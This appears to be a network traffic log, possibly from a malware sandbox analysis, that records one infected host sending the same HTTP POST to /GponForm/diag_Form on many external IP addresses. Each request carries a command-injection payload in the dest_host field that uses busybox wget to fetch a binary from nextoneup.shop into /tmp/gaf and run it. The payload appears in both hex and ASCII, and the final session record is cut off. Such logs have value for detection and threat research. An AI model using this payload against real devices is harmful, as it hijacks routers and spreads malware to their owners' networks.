XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.23	59876	2.62.123.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182080984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.23	41596	37.58.163.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182115078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.23	36740	210.144.222.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182193041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.23	59594	37.248.229.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182477951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.23	49906	210.59.156.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182486057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.23	59918	178.100.114.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182524920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.23	37168	117.15.240.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182560921 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.23	54432	109.166.153.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182598114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.23	40580	178.7.215.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182614088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.23	51122	148.199.142.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182682037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.23	60922	117.9.141.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182724953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.23	40648	37.24.231.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182751894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.23	53990	2.227.135.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182800055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.23	44746	2.71.143.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182830095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.23	56608	118.178.21.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182830095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.23	56146	117.83.22.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182857037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.23	37326	109.80.244.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182898998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.23	38026	117.195.146.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182935953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.23	33550	79.152.234.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.182972908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.23	43398	94.227.236.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.183001041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.23	44800	178.132.2.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.183023930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
702	192.168.2.23	56140	123.245.212.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.183074951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
703	192.168.2.23	46164	2.82.200.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.183099031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
704	192.168.2.23	50224	178.150.231.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.183162928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.23	45088	42.13.50.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.183181047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.23	38488	178.4.166.80	443

Timestamp	Bytes transferred	Direction	Data
